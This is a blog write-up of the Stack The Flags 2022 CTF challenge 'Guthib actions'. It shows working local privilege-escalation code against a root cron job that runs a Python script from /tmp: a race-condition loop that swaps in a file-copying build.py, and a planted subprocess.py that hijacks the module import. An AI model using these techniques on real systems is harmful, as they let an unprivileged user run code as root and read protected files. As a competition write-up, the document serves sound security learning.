Skip to main content
  1. My Blog Posts and Stories/

STF 2022 Misc: Guthib actions

··784 words·4 mins

Recently, I participated with 3 other players in the Stack The Flags 2022 CTF. This is for the writeup of the Misc challenge Guthib actions.

This challenge involves a cronjob which runs every 5 minutes. The cronjob will run a script builds a flag file.

This is an unintended solution for this challenge.

To see the full source code for this challenge, please do so here

Looking at the source code #

FROM ubuntu:22.04

RUN apt-get update &&  \
    apt-get install -y python3 python3-pip openssh-server cron && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

RUN pip install pyinstaller && \
    pip cache purge

RUN useradd -m -c 'Restricted guest account' guest && \
    echo 'guest:guest' | chpasswd

RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config

RUN (crontab -l ; echo "* * * * * /root/build.sh") | crontab

COPY ./flag.py /root/flag.py
COPY ./build.sh /root/build.sh
COPY ./build.py /root/build.py
COPY ./start.sh /root/start.sh

RUN chown -R guest /home/guest && \
    chmod -R 700 /root && \
    chmod -R 777 /home/guest
EXPOSE 1337
ENTRYPOINT /root/start.sh

This is the Dockerfile for the challenge. We can see that the challenge is running on Ubuntu 22.04.

In the Dockerfile, we can see that the cronjob is running every minute for the build.sh script.

Do note that the flag.py file is located at /root/flag.py.

#!/bin/bash
cd /tmp  # dump all the temp files Pyinstaller may generate in the temp dir
cp /root/build.py build.py
python3 build.py >/dev/null 2>&1  # build flag printing binary
rm -r *

From the script above, we can see that the build.py file is copied to the /tmp directory before it is executed.

I will first go through our own solution before we go through the actual intended solution.

Our solution #

Reading up to this point, we have determined that copying the build.py file to the /tmp is the vulnerability.

There is a race condition between copying the build.py file to the /tmp directory and the cronjob running the build.py script.

We can exploit this race condition by removing the old build.py file and overwriting it with our own build.py file. We set off to write a script to exploit this vulnerability.

#!/bin/bash
while [ 1 ]
do
        if [ "$(ls -A /tmp/)" ]; then
                cp ~/test/test.py /tmp/build.py
        fi
done

This was the script that we came up with.

When it detects that there are files in the /tmp directory, it will copy the test.py file to the /tmp directory.

To make the copy process as fast as possible, we made the build.py code as small as possible.

Our initial test was to see if the code worked at all so we decided to just copy the flag over to our own home directory.

__import__('os').system('cp /root/flag.py /home/guest')

After leaving it running and forgetting about it, after some time, we realized that the flag.py file was copied over into our home directory.

However, what we forgot was that the permissions for the file prevented us from viewing the file at all. Thus, we created another script and ran the chmod command below.

__import__('os').system('chmod 777 /home/guest/flag.py')

After waiting for a long time, we finally got the flag.py file.

Upon opening the file, we obtained the flag.

Flag:

STF22{5up3r_5U5_5y5t3m_m0du13!_a0d66b3e608fe2b38ddf77d679fbde6b74e231f54c469a081f04dc65004360f8}

This was definitely not the intended solution and it took us way more time than it should have compared to the intended solution.

Intended solution #

Now let’s go through the intended solution.

#!/bin/bash
cd /tmp  # dump all the temp files Pyinstaller may generate in the temp dir
cp /root/build.py build.py
python3 build.py >/dev/null 2>&1  # build flag printing binary
rm -r *

From the script, we can see that the python file is moved over to the /tmp directory before it is executed. This will mean that the order in which python import looks for files will also start in the /tmp directory.

By looking at what the script imports, we can determine what modules to create a copy of and place it in the /tmp directory.

import subprocess
subprocess.call(['pyinstaller',  '-F',  '--distpath', '/root', '/root/flag.py'])

As we can see from the file here, python imports the subprocess library. If we create a file called subprocess in the tmp process, it will be imported instead of the actual subprocess library.

# subprocess.py
import os

path = '/root/flag.py'
with open(path) as f:
  data = f.read()

with open('/home/guest/flag', 'w') as f:
  f.write(data)

os.system('chmod 777 /home/guest/flag')

By pasting this inside the /tmp directory, we can overwrite the subprocess library and execute our own code.

This code will copy the flag over to our home directory (where we have permission to execute it). We can then receive the flag from the file.

Another alternate perspective #

Another alternate perspective is the solution by Zeyu. You can see his blog post here